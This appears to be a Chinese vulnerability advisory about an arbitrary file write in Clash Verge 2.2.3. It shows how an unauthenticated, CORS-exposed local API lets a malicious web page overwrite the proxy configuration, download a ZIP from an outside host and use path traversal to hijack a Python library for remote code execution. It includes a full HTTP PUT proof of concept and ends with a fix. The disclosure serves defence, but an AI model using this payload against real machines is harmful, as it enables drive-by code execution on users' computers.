Clash Verge-任意文件写入

一、基本信息

  • 影响版本: 最新版本(v2.2.3)依然受影响。(截止2025.05.22)
  • 漏洞类型: 任意文件写入

二、漏洞简介

‌‌‌‌  Clash Verge 配置不当导致本地任意文件写入 → 劫持各种程序文件 -> 远程代码执行(RCE)漏洞

  • 用户只需访问恶意网页,无需用户操作,即可:
    • 利用CORS与无认证API服务进行配置覆盖;
    • 写入任意文件至本地;
    • 进一步通过软件程序劫持加载,实现远程代码执行(RCE)

三、环境搭建

[!使用版本]

示:
Clash Verge版本2.2.3

四、复现步骤

1 任意文件写入

‌‌‌‌  由于Clash的9097端口,API服务默认开启,未鉴权,导致直接调用。访问http://127.0.0.1:9097/configs

示:
返回响应

‌‌‌‌  如果配置了API密钥,返回的结果如下

示:

‌‌‌‌  通过 PUT 请求 /configs 接口,恶意网页可修改 Mihomo 的配置文件。配置文件字段被滥用,配置字段如 external-ui-url 可下载远程 ZIP 文件并解压,external-ui-name 与 external-ui 拼接路径,存在路径穿越绕过检查漏洞,利用..\\..\\可将文件写入任意位置。

2 HTTP-POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PUT http://127.0.0.1:9097/configs HTTP/1.1
Host: 127.0.0.1:9097
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: text/plain;charset=UTF-8
Origin: http://192.168.1.101
Referer: http://192.168.1.101/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Content-Length: 223

{"payload":"\n external-ui: test1234\n external-ui-url: http://192.168.73.1/base64.zip\n external-ui-name: ..\\..\\..\\Local\\Programs\\Python\\Python313\\Lib\\base64","path":""}

[!漏洞利用]

‌‌‌‌  服务端部署恶意网页index.html和zip包。


index.html

ZIP包如下:

base64.py

示:

3 演示

‌‌‌‌攻击流程示意

  1. 用户访问恶意网页;
  2. 页面 JS 脚本构造 PUT 请求篡改本地的 Clash 配置;
  3. 本地机器远程下载 ZIP 文件到python的库中;
  4. 劫持python的base64库,触发执行,实现 RCE 执行任意py代码。

五、修复建议

配置API访问密钥。


六、参考资料